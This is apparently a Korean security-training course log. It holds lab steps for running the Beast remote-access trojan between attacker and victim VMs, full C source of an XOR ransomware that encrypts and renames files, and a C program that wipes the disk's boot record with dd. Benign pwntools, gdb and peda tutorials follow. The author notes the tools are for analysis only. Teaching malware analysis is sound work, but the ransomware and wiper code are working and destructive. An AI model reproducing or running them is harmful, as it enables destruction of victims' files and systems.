시스템 보안 운영 - 1 (3월 시험 3/20, C & Python 3/21, 교육 82일차)

SW·2023년 3월 23일
0

실습> 악성코드 다운로드

    Client             Server
    Attacker           Victim
+------------+     +------------+
|            |     |            |
|            |     | 6666       |
|         ------------->        |
|            |     |            |
|            |     |            |
+------------+     +------------+
     .5                 .4

         200.200.200.0/24
1. 악성 프로그램 다운로드
http://intranet.linuxmaster.net/Data/Beast.zip

다운로드 받으면 VM 안에 옮겨서 Beast.zip 압축을 해제한다.
C:\>ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 200.200.200.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 200.200.200.2

C:\>netstat -na

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    127.0.0.1:1026         0.0.0.0:0              LISTENING
  TCP    200.200.200.4:139      0.0.0.0:0              LISTENING
  UDP    0.0.0.0:445            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:1025           *:*
  UDP    0.0.0.0:4500           *:*
  UDP    127.0.0.1:123          *:*
  UDP    127.0.0.1:1900         *:*
  UDP    200.200.200.4:123      *:*
  UDP    200.200.200.4:137      *:*
  UDP    200.200.200.4:138      *:*
  UDP    200.200.200.4:1900     *:*



Wine: 
리눅스에서 윈도우 프로그램을 실행시키는 프로그램
공격자 Kali에서 Wine 프로그램을 설치해서 사용

2. Server 생성 및 실행
원래는 Attacker에서 여러가지 취약점을 이용해서 감염시킨 후 사용해야 하지만
시간관계상 Victim에서 생성한다.

Build Server 를 이용해서 server.exe를 생성한다.
- 다양한 형태로 생성이 가능하다.
- bind connection, reverse connection, 아이콘 변경 ...
- 접속 암호 설정, 포트 설정 ...

sysinternal 프로그램에서 tcpview.exe, procexp.exe를 실행해서 모니터링한다.

server.exe를 실행한다.
- 6666 포트가 열린다.
- svchost.exe로 실행한다.

3. 접속
Attacker에서 접속한다.
Beast2.07.exe 파일을 실행해서 Victim으로 접속한다.
Host: 200.200.200.4
Port: 6666
Password: 


Go Beast! 버튼을 클릭한다.



분석용으로만 사용하자!!!
실제로 사용하면 정보통신망법에 문제가 될 수 있다.

Ransomware
https://github.com/ncorbuk/Python-Ransomware
https://github.com/Fytex/simple-ransomware/blob/master/main.c

실습> Dev-Cpp 설치하기

Host OS에서 다운로드 받아서 WinXP에 설치한다.

Dev-Cpp 공식 사이트:
https://sourceforge.net/projects/orwelldevcpp/

intranet 서버:
http://intranet.linuxmaster.net/Data/Dev-Cpp 5.11 TDM-GCC 4.9.2 Setup.exe

RansomeWare 다운로드
https://github.com/Fytex/simple-ransomware/blob/master/main.c

RansomeWareTest.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#define RELATIVE_FOLDER "\\RansomeWareTest" // 0 - User's path
// #define RELATIVE_FOLDER "\\Desktop" // 0 - User's path
#define CRYPTO_NUM 21
#define CRYPTO_EXT ".H43"
#define CRYPTO_EXT_LEN 4
#define CRYPTO_ENV_NAME "H43_xor_encryption"
#define CRYPTO_ENV_VALUE "H43"

int encrypt = -1; // 1 - encrypt, 0 - decrypt, -1 - undefined

void print_ascii_art() {
	
	puts("\n\n"
		"\t\t\tHHHHHHHHH     HHHHHHHHH       444444444   333333333333333\n"
		"\t\t\tH:::::::H     H:::::::H      4::::::::4  3:::::::::::::::33\n"
		"\t\t\tH:::::::H     H:::::::H     4:::::::::4  3::::::33333::::::3\n"
		"\t\t\tHH::::::H     H::::::HH    4::::44::::4  3333333     3:::::3\n"
		"\t\t\t  H:::::H     H:::::H     4::::4 4::::4              3:::::3\n"
		"\t\t\t  H:::::H     H:::::H    4::::4  4::::4              3:::::3\n"
		"\t\t\t  H::::::HHHHH::::::H   4::::4   4::::4      33333333:::::3\n"
		"\t\t\t  H:::::::::::::::::H  4::::444444::::444    3:::::::::::3\n"
		"\t\t\t  H:::::::::::::::::H  4::::::::::::::::4    33333333:::::3\n"
		"\t\t\t  H::::::HHHHH::::::H  4444444444:::::444            3:::::3\n"
		"\t\t\t  H:::::H     H:::::H            4::::4              3:::::3\n"
		"\t\t\t  H:::::H     H:::::H            4::::4              3:::::3\n"
	    "\t\t\tHH::::::H     H::::::HH          4::::4  3333333     3:::::3\n"
	    "\t\t\tH:::::::H     H:::::::H        44::::::443::::::33333::::::3\n"
	    "\t\t\tH:::::::H     H:::::::H        4::::::::43:::::::::::::::33\n"
	    "\t\t\tHHHHHHHHH     HHHHHHHHH        4444444444 333333333333333\n\n\n");
}


void xor_encryption (char* file) {
	
	char* ext = strrchr(file, '.');
	
	if (encrypt == -1)
		encrypt = strcmp(ext, CRYPTO_EXT) & 1;
	
	else if (encrypt != (strcmp(ext, CRYPTO_EXT) & 1))
		return;
	
	FILE *fp;
	char *content;
	long length;
    int i;
	
	fp = fopen(file, "rb+");

	if (fp) {
		
		fseek(fp, 0, SEEK_END);
		length = ftell(fp);
		fseek(fp, 0, SEEK_SET);
		content = malloc(length + 1);
		
		if (content) {
			
			length = fread(content, 1, length, fp);
			
			if (length) {
				
				rewind(fp);
				
				char* tmp = content;
				for (i = 0; i < length; ++tmp, ++i)
					*tmp = *tmp ^ CRYPTO_NUM;

				fwrite(content, 1, length, fp);
			}
			free(content);
		}
		
		fclose(fp);
	}

	if (encrypt) {
		
		char* new_file = (char *) malloc(strlen(file) + CRYPTO_EXT_LEN + 1);
		strcpy(new_file, file);
		strcat(new_file, CRYPTO_EXT);
		rename(file, new_file);
		free(new_file);
	}
	else {
		
		char* old_file = strdup(file);
		*ext = '\0';
		rename(old_file, file);
		free(old_file);
	}
}

void files_tree(const char *folder) {
	
    char wildcard[MAX_PATH];
    sprintf(wildcard, "%s\\*", folder);
    WIN32_FIND_DATA fd;
    HANDLE handle = FindFirstFile(wildcard, &fd);
	
    if(handle == INVALID_HANDLE_VALUE) return;
	
    do {
		
        if(strcmp(fd.cFileName, ".") == 0 || strcmp(fd.cFileName, "..") == 0) 
        	continue;
		
	char path[MAX_PATH];
        sprintf(path, "%s\\%s", folder, fd.cFileName);

        if((fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && !(fd.dwFileAttributes & (FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_DEVICE)))
		files_tree(path);
		
		if (fd.dwFileAttributes & FILE_ATTRIBUTE_ARCHIVE)
			xor_encryption(path);
			//puts(path);
				
    } while(FindNextFile(handle, &fd));
	
    FindClose(handle);
}

int main(void) {
	
	char* env = getenv(CRYPTO_ENV_NAME);
	
	if (strcmp(env, CRYPTO_ENV_VALUE)) {
		
		//void* home_path = getenv("USERPROFILE");
        void* home_path = "C:\RansomeWareTest"; 
		void* path = home_path;
		
		if (RELATIVE_FOLDER) {
			
			path = malloc(strlen(home_path) + strlen(RELATIVE_FOLDER) + 1);
			strcpy(path, home_path);
			strcat(path, RELATIVE_FOLDER);
		}
	
		files_tree(path);
	
		if (RELATIVE_FOLDER)
			free(path);
	}
	
	print_ascii_art();
	return 0;
}

실습> 서버의 MBR 삭제하기

446byte
  |
  v
|---|
+---------------+
|MBR|           |
+---------------+
  ^
  |
  +--- 0으로 모두 채운다.

1. DVD 중지
DVD를 Disconnect 한다.

2. MBR 삭제
MBR 영역 446byte를 0으로 채우고 서버를 재부팅한다. 
# dd if=/dev/zero of=/dev/sda bs=446 count=1
# reboot

3. 부팅 실패
MBR 영역을 0으로 채웠기 때문에 grub2 프로그램이 삭제가 되어 부팅에 실패한다.

4. 복구
DVD를 Connect 하고 서버를 재부팅한다.
서버가 부팅할 때 [Troubleshooting] > [Rescue]를 선택하고 서버가 부팅되면 
아래처럼 메세지가 출력된다.

1) Continue

2) Read-only mount

3) Skip to shell

4) Quit (Reboot)

Please make a selection from the above: 1  <-- 1을 선택한다.

엔터를 치면 셸이 떨어진다. 
sh-4.2# chroot /mnt/sysimage
bash-4.2# grub2-install /dev/sda  
Installing for i386-pc platform.
Installation finished. No error reported.
bash-4.2# 

reboot, exec /sbin/init 명령어가 실행되지 않으므로 서버를 강제로 재부팅한다.

# deleteMBR.c
-- deleteMBR.c --
/*
 * 파일명: deleteMBR.c
 * 프로그램 설명: MBR 44byte를 삭제하는 악성코드
 * 작성자: 리눅스마스터넷
 */

#include <stdio.h>
#define  deleteMBR  "dd if=/dev/zero of=/dev/sda bs=446 count=1 > /dev/null 2>&1"

int main()
{
    system(deleteMBR);

    return 0;
}
-- deleteMBR.c --

# gcc -o deleteMBR deleteMBR.c
# ./deleteMBR
# reboot






https://linuxmaster.net/tools/pwntools.txt

https://linuxmaster.net/tools/pwntoolsDocumentation.pdf.gz
https://linuxmaster.net/tools/cLanguage.tar.gz

pwntools 개요

화이트해커의 필수 툴로 리눅스에서 CTF 대회, 포너블(시스템해킹)과 익스플로잇을 좀 더 쉽게 제작할 수 있는
파이썬 라이브러리다. 공식문서는 아래를 참고하고 이미 많은 블로그에 관련 내용들이 있으니 참고한다.

공식사이트: https://github.com/Gallopsled/pwntools
공식 문서: https://docs.pwntools.com/

process("filename") # 로컬 상의 실행 파일을 불러온다.
recv(int)           # 표준 출력에서 int 만큼의 문자열을 읽어서 반환한다.
recvuntil("str")    # 표준 출력에서 "str"이라는 문자열까지 읽어서 반환한다.
recvline()          # 표준 출력에서 한 줄을 읽어서 반환한다. recvuntil("\n")으로도 동일한 동작 구현 가능.
send("str")         # 표준 입력에 "str"이라는 문자열을 넣어준다.
sendline("str")     # 표준 입력에 "str\n"이라는 문자열을 넣어준다.
interactive()       # 유저가 화면에 직접 입출력 할 수 있도록 해준다.

nc 접속 형식: 
객체변수명 = remote('IP Address', Port)

SSH 접속 형식:
객체변수명 = ssh('Username', 'IP Address', Port, 'Password')

실습> pwntools 설치

1. rh-python 3.8 설치
# wget --no-check-certificate http://linuxmaster.net/tools/rh-python38.sh 
# chmod 755 rh-python38.sh 
# ./rh-python38.sh 

2. 가상환경 생성
파이썬 가상환경을 생성한다.
[root@localhost ~]# python -m venv pwntoolsProject
[root@localhost ~]# . pwntoolsProject/bin/activate
(pwntoolsProject) [root@localhost ~]# python -m pip install --upgrade pip
(pwntoolsProject) [root@localhost ~]# python -m pip install --upgrade pwntools

3. 소스코드 작성
pwntools를 테스트할 C 프로그램을 제작한다.
# wget --no-check-certificate http://linuxmaster.net/tools/gccInstall.sh
# chmod 755 gccInstall.sh
# ./gccInstall.sh
# vi pwnTest.c 
/*
 * 파일명: pwnTest.c
 * 프로그램 설명: pwntools 입축력을 위한 테스트 프로그램
 * 작성자: 리눅스마스터넷
 * 작성일: 2023.03.19
 */

#include <stdio.h>

int main()
{
    char s[100];

    fgets(s, sizeof(s), stdin);
    printf("%s", s);

    return 0;
}

[root@localhost ~]# gcc -m32 -g -o pwnTest pwnTest.c
[root@localhost ~]# ./pwnTest 
Hello pwntools!

4. pwntools 사용하기
파이썬 인터렉티브 셸에서 pwntoos를 사용한다.
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.

pwntools를 사용하기 위해 pwn 모듈을 import 한다.
>>> from pwn import *

process 클래스의 인수로 실행하고자 하는 ./pwnTest 파일명을 실행시키고 객체 r을 생성한다.
>>> r = process("./pwnTest")
[x] Starting local process './pwnTest'
[+] Starting local process './pwnTest': pid 47240

>>> type(r)
<class 'pwnlib.tubes.process.process'>

다른 터미널에서 ps로 확인하면 ./pwnTest 프로세스가 실행중인걸 확인할 수 있다.
# ps -eLf|grep -E 'PID|pwnTest'
UID         PID   PPID    LWP  C NLWP STIME TTY          TIME CMD
root      47240  46838  47240  0    1 13:58 pts/8    00:00:00 ./pwnTest
root      47242  47127  47242  0    1 13:58 pts/2    00:00:00 grep --color=auto -E PID|pwnTest

다시 파이썬 인터렉티브 셸로 돌아와서 send() 메소드를 호출해서 데이터를 입력한다.
process("./pwnTest")로 ./pwnTest 프로그램을 실행시키면 화면에서 직접 입력할 수는 없고 인스턴스 변수 r을 이용해서
send() 메소드를 호출하면 파이썬 코드를 통해서 ./pwnTest 프로세스의 stdin에 입력할 수 있다.
입력할 때는 엔터(\n)키가 입력될 때 까지 데이터를 넣어줄 수 있고 엔터(\n)가 입력되면 입력을 종료한다.
>>> r.send("12345678")
>>> r.send("90123456789012345\n")

입력이 완료되면 다른 터미널에서 ps로 다시 확인했을 때 ./pwnTest 프로세스가 종료(<defunct>)된걸 확인할 수 있다.
# ps -eLf|grep -E 'PID|pwnTest'
UID         PID   PPID    LWP  C NLWP STIME TTY          TIME CMD
root      47240  46838  47240  0    1 13:58 ?        00:00:00 [pwnTest] <defunct>
root      47261  47127  47261  0    1 14:08 pts/2    00:00:00 grep --color=auto -E PID|pwnTest

# ps aux|grep -E 'PID|pwnTest'
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      47240  0.0  0.0      0     0 ?        Zs   13:58   0:00 [pwnTest] <defunct>
root      47265  0.0  0.1 116976  1024 pts/2    R+   14:09   0:00 grep --color=auto -E PID|pwnTest

다시 파이썬 인터렉티브 셸로 돌아와서 recv() 메소드를 호출하면 stdout으로 출력된 전체 문자열을 읽어 값을 리턴한다.
send() 메소드로 전달한 값이 50byte가 안되므로 전체 문자열이 읽혀졌다. 
>>> r.recv(50)
[*] Process './pwnTest' stopped with exit code 0 (pid 47240)
b'1234567890123456789012345\n'

다른 터미널에서 ps로 확인하면 좀비 프로세스로 남아있던 pwnTest 프로세스는 부모프로세스가 걷어들여서 사라지게 된다.
[root@localhost ~]# ps aux|grep -E 'PID|pwnTest'
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      47268  0.0  0.1 116976  1024 pts/2    R+   14:13   0:00 grep --color=auto -E PID|pwnTest

사용이 완료되면 파이썬을 종료한다.
>>> quit()

실습> 파이썬 파일로 생성해서 사용하기 1

1. 소스코드 작성
(pwntoolsProject) [root@localhost ~]# vi pwnTest.py 
#!/usr/bin/env python
"""
파일명: pwnTest.py
프로그램 설명: pwntools 입출력을 위한 파이썬 프로그램
작성자: 리눅스마스터넷
"""
from pwn import *

programName = "./pwnTest"
r = process(programName)

r.send(b"12345678")
#r.send(b"90123456789012345\n")
r.sendline(b"90123456789012345")

data = r.recv(50)
print(data)

2. 프로그램 실행
(pwntoolsProject) [root@localhost ~]# chmod 755 pwnTest.py 
(pwntoolsProject) [root@localhost ~]# ./pwnTest.py 
[+] Starting local process './pwnTest': pid 47417
b'1234567890123456789012345\n'
[*] Process './pwnTest' stopped with exit code 0 (pid 47417)

실습> 파이썬 파일로 생성해서 사용하기 2

1. nc 포트 오픈
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000

2. 소스코드 작성
(pwntoolsProject) [root@localhost ~]# vi pwnTest2.py 
#!/usr/bin/env python
"""
파일명: pwnTest2.py
프로그램 설명: pwntools 입출력을 위한 파이썬 프로그램
작성자: 리눅스마스터넷
"""
from pwn import *

programName = "./pwnTest"
p = remote("127.0.0.1", 8000)

p.sendline(b"123456789012345")
p.close()

3. 프로그램 실행
(pwntoolsProject) [root@localhost ~]# chmod 755 pwnTest2.py 
(pwntoolsProject) [root@localhost ~]# ./pwnTest2.py 

4. nc 종료
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47362.
123456789012345
[root@localhost ~]# 

실습> pwntools를 이용한 ssh 접속하기 1

SSH 접속 형식:
객체변수명 = ssh('Username', 'IP Address', Port, 'Password')

1. 네트워크 상태 모니터링
[root@localhost ~]# yum -y install net-tools
[root@localhost ~]# watch netstat -nat
Every 2.0s: netstat -nat    Sat Mar  4 16:19:44 2023

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0	  0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0	  0 127.0.0.1:25            0.0.0.0:*               LISTEN
tcp        0	  0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp6	   0	  0 :::80                   :::*                    LISTEN
tcp6	   0	  0 :::22                   :::*                    LISTEN
tcp6	   0	  0 ::1:25                  :::*                    LISTEN

2. ssh 접속
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> s = ssh(user='user1', host='127.0.0.1', port=22, password='111111')
[x] Connecting to 127.0.0.1 on port 22
[+] Connecting to 127.0.0.1 on port 22: Done
[*] user1@127.0.0.1:
    Distro    Unknown 
    OS:       linux
    Arch:     amd64
    Version:  3.10.0
    ASLR:     Enabled
>>>

Every 2.0s: netstat -nat    <날짜와 시간>

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0	  0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0	  0 127.0.0.1:25            0.0.0.0:*               LISTEN
tcp        0	  0 127.0.0.1:35940         127.0.0.1:22            ESTABLISHED  <-- pwntools로 연결된 부분
tcp        0	  0 127.0.0.1:22            127.0.0.1:35940         ESTABLISHED  <-- pwntools로 연결된 부분
tcp        0	  0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp6	   0	  0 :::80                   :::*                    LISTEN
tcp6	   0	  0 :::22                   :::*                    LISTEN
tcp6	   0	  0 ::1:25                  :::*                    LISTEN

3. ssh 접속 종료
>>> s.close()
[*] Closed connection to '127.0.0.1'


Every 2.0s: netstat -nat    <날짜와 시간>

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED
tcp        0      0 127.0.0.1:35942         127.0.0.1:22            TIME_WAIT    <-- pwntools로 접속이 종료된 부분
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     

실습> pwntools를 이용한 ssh 접속하기 2

SSH 접속 형식:
객체변수명 = ssh('Username', 'IP Address', Port, 'Password')

1. 사용자 생성
[root@localhost ~]# useradd user1
[root@localhost ~]# passwd --stdin user1 
user1 사용자의 비밀 번호 변경 중
111111
passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다.

2. 네트워크 상태 모니터링
[root@localhost ~]# yum -y install net-tools
[root@localhost ~]# netstat -nat

3. SSH 접속
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> s = ssh(user='user1', host='127.0.0.1', port=22, password='111111')
[x] Connecting to 127.0.0.1 on port 22
[+] Connecting to 127.0.0.1 on port 22: Done
[*] user1@127.0.0.1:
    Distro    Unknown 
    OS:       linux
    Arch:     amd64
    Version:  3.10.0
    ASLR:     Enabled
>>> sh = s.run('sh')
[x] Opening new channel: 'sh'
[+] Opening new channel: 'sh': Done
>>> sh.sendline(b'pwd')
>>> sh.recvline().decode()
'sh-4.1$ /home/user1\n'
>>> sh.sendline(b'ls -a')
>>> sh.recvline().decode()
'sh-4.1$ .  ..  .bash_history  .bash_logout  .bash_profile  .bashrc\n'
>>> sh.sendline(b'ls -al')
>>> sh.recvline().decode()
'sh-4.1$ 합계 16\n'
>>> sh.recvline().decode()
'drwx------. 2 user1 users  83  3월  4 07:43 .\n'
>>> sh.recvline().decode()
'drwxr-xr-x. 6 root  root   66  3월  4 07:16 ..\n'
>>> sh.recvline().decode()
'-rw-------. 1 user1 users   9  3월  4 16:09 .bash_history\n'
>>> sh.recvline().decode()
'-rw-r--r--. 1 user1 users  18  7월 18  2013 .bash_logout\n'
>>> sh.recvline().decode()
'-rw-r--r--. 1 user1 users 176  7월 18  2013 .bash_profile\n'
>>> sh.recvline().decode()
'-rw-r--r--. 1 user1 users 124  7월 18  2013 .bashrc\n'
>>> s.close()
[*] Closed connection to '127.0.0.1'
>>> quit()
[*] Closed SSH channel with 127.0.0.1
(pwntoolsProject) [root@localhost ~]# 

4. 네트워크 상태 모니터링
[root@localhost ~]# yum -y install net-tools
[root@localhost ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED
tcp        0      0 200.200.200.3:60174     113.29.189.165:80       TIME_WAIT  
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp        0      0 127.0.0.1:35936         127.0.0.1:22            ESTABLISHED  <-- pwntools로 연결된 부분
tcp        0      0 127.0.0.1:22            127.0.0.1:35936         ESTABLISHED  <-- pwntools로 연결된 부분
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN  

   
[root@localhost ~]# netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 200.200.200.3:22        200.200.200.1:10610     ESTABLISHED  
tcp        0     36 200.200.200.3:22        200.200.200.1:11166     ESTABLISHED
tcp        0      0 127.0.0.1:35936         127.0.0.1:22            TIME_WAIT    <-- pwntools로 접속이 종료된 부분
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
tcp6       0      0 ::1:25                  :::*                    LISTEN     

실습> pwntools를 이용한 nc 접속하기

nc 접속 형식: 
객체변수명 = remote('IP Address', Port)

Server: nc
Client: pwntools

1. nc 포트 오픈
[root@localhost ~]# yum -y install nc
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000

2. Server 접속
(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *

(1). 서버로 접속한다.
>>> r = remote('127.0.0.1', 8000)  
[x] Opening connection to 127.0.0.1 on port 8000
[x] Opening connection to 127.0.0.1 on port 8000: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 8000: Done

(2.1). Hello\n 메세지를 서버로 전송한다.
>>> r.send(b'Hello\n')

(3.1). pwntools!\n 메세지를 서버로 전송한다.
>>> r.send(b'pwntools!\n')

(4.2). 서버가 전송한 Hello...\n 메세지를 받아서 문자열로 변환한 후 화면에 출력한다. 
>>> r.recv(100).decode()
'Hello...\n'

(5.1). 대화형 모드로 전환한다.
>>> r.interactive()
[*] Switching to interactive mode
hello  <-- (5.2). hello\n 메세지를 서버로 전송한다.
test   <-- (5.4). test\n  메세지를 서버로 전송한다.
^C[*] Interrupted  <-- (5.6). 대화형 모드를 중지한다.
>>> r.send("^^*")  <-- (6.1). ^^* 메세지를 서버로 전송한다. (엔터키 없음, Byte로 전송하지 않았으므로 BytesWarning이 발생함.)
<stdin>:1: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
>>> r.send(b"^^*") <-- (7.1). ^^* 메세지를 서버로 전송한다. (엔터키 없음)
>>> r.sendline(b"^^*") <-- (8.1). ^^* 메세지를 서버로 전송한다. (엔터키 있음)
>>> r.close()  <-- (9.1). 접속을 종료한다.
[*] Closed connection to 127.0.0.1 port 8000
>>> quit()
(pwntoolsProject) [root@localhost ~]# 

3. Server 분석
서버쪽에서 확인한다.
[root@localhost ~]# nc -lvp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47360.  <-- (1). 클라이언트가 서버로 접속하면 연결된 메세지가 출력된다.
Hello      <-- (2.2). 클라이언트가 전송한 Hello\n 메세지가 화면에 출력된다.
pwntools!  <-- (3.2). 클라이언트가 전송한 pwntools!\n 메세지가 화면에 출력된다.
Hello...   <-- (4.1). Hello...\n 메세지를 클라이언트로 전송한다.
hello      <-- (5.3). 클라이언트가 전송한 hello\n 메세지가 화면에 출력된다.
test       <-- (5.5). 클라이언트가 전송한 test\n  메세지를 서버로 전송한다.
^^*^^*^^*  <-- (6.2). (7.2). 클라이언트가 전송한 ^^* 메세지가 화면에 출력된다. (엔터키 없음) (8.2). 클라이언트가 전송한 ^^* 메세지가 화면에 출력된다. (엔터키 있음) 
[root@localhost ~]#   <-- (9.2). 클라이언트가 접속을 종료하면 nc가 종료된다.

실습> pwntools를 이용한 웹서버 접속하기

(pwntoolsProject) [root@localhost ~]# python
Python 3.8.13 (default, Aug 16 2022, 12:16:29) 
[GCC 9.3.1 20200408 (Red Hat 9.3.1-2)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> r = remote('linuxmaster.net', 80)
[x] Opening connection to linuxmaster.net on port 80
[x] Opening connection to linuxmaster.net on port 80: Trying 45.120.69.175
[+] Opening connection to linuxmaster.net on port 80: Done
>>> r.send(b"GET / HTTP/1.1\r\n")
>>> r.send(b"Host: www.linuxmaster.net\r\n")
>>> r.send(b"\r\n\r\n")
>>> responseData = r.recv(1000)
>>> r.close()
[*] Closed connection to linuxmaster.net port 80
>>> print(responseData)
b'HTTP/1.1 302 Found\r\nDate: Sun, 19 Mar 2023 12:26:51 GMT\r\nServer: Apache\r\nLocation: https://www.linuxmaster.net/\r\nContent-Length: 212\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">\n<html><head>\n<title>302 Found</title>\n</head><body>\n<h1>Found</h1>\n<p>The document has moved <a href="https://www.linuxmaster.net/">here</a>.</p>\n</body></html>\n'
>>> print(responseData.decode())
HTTP/1.1 302 Found
Date: Sun, 19 Mar 2023 12:26:51 GMT
Server: Apache
Location: https://www.linuxmaster.net/
Content-Length: 212
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://www.linuxmaster.net/">here</a>.</p>
</body></html>

>>> quit()

실습> 소스코드 컴파일하는 방법

# cd
# wget --no-check-certificate http://linuxmaster.net/tools/gccInstall.sh
# chmod 755 gccInstall.sh
# ./gccInstall.sh
# wget https://linuxmaster.net/tools/cLanguage.tar.gz --no-check-certificate
# tar xzf cLanguage.tar.gz
# cd cLanguage/Day01

# vi c_Chap01Ex01.c
파일이 euckr로 저장되어 있으므로 한글을 사용하기 위해서는 소스코드를 모두 utf8로 수정해야 한다.
한글이 필요없다면 변경하지 않아도 된다.
:set fileencoding=utf8
:w

실습> gdb 사용하기

02.프로그래밍/02.C언어/gdb분석.txt

실습> 소스코드를 32bit로 컴파일 하기

소스코드를 32bit로 컴파일하기 위해서는 -m32 옵션을 사용한다.
gdb로 바이너리를 분석하기 위해서 먼저 32bit로 분석하고 익숙해지면 64bit로 분석한다.

gdb로 분석하기 위해서 32bit로 컴파일한다.
# gcc -m32 -g -o c_Chap01Ex01 c_Chap01Ex01.c
# ./c_Chap01Ex01
Hello C!

실습> rh-python 3.8 설치
# wget --no-check-certificate http://linuxmaster.net/tools/rh-python38.sh 
# chmod 755 rh-python38.sh 
# ./rh-python38.sh 
# python -V
Python 3.8.13

실습> peda 설치하기

peda는 블랙햇에서 발표된 툴로 화이트해커들이 바이너리를 분석하기 위해서 사용하는 툴이다.
peda는 python2와 python3가 있고 여기서는 python3 용 peda를 설치한다.

# yum -y install git
# git clone https://github.com/zachriggle/peda ~/peda
# echo "source ~/peda/peda.py" >> ~/.gdbinit
# gdb test1
gdb-peda$ b main
Breakpoint 1 at 0x8048416: file test1.c, line 13.
gdb-peda$ r
Starting program: /root/test1 
[------------------------------------------registers-------------------------------------------]
EAX: 0x1 
EBX: 0xf7fce000 --> 0x1c6d88 
ECX: 0xac8d1dd8 
EDX: 0xffffd514 --> 0xf7fce000 --> 0x1c6d88 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd4e8 --> 0x0 
ESP: 0xffffd4c0 --> 0x1 
EIP: 0x8048416 (<main+9>:	mov    DWORD PTR [esp+0x1c],0x7)
[---------------------------------------------code---------------------------------------------]
   0x804840e <main+1>:	mov    ebp,esp
   0x8048410 <main+3>:	and    esp,0xfffffff0
   0x8048413 <main+6>:	sub    esp,0x20
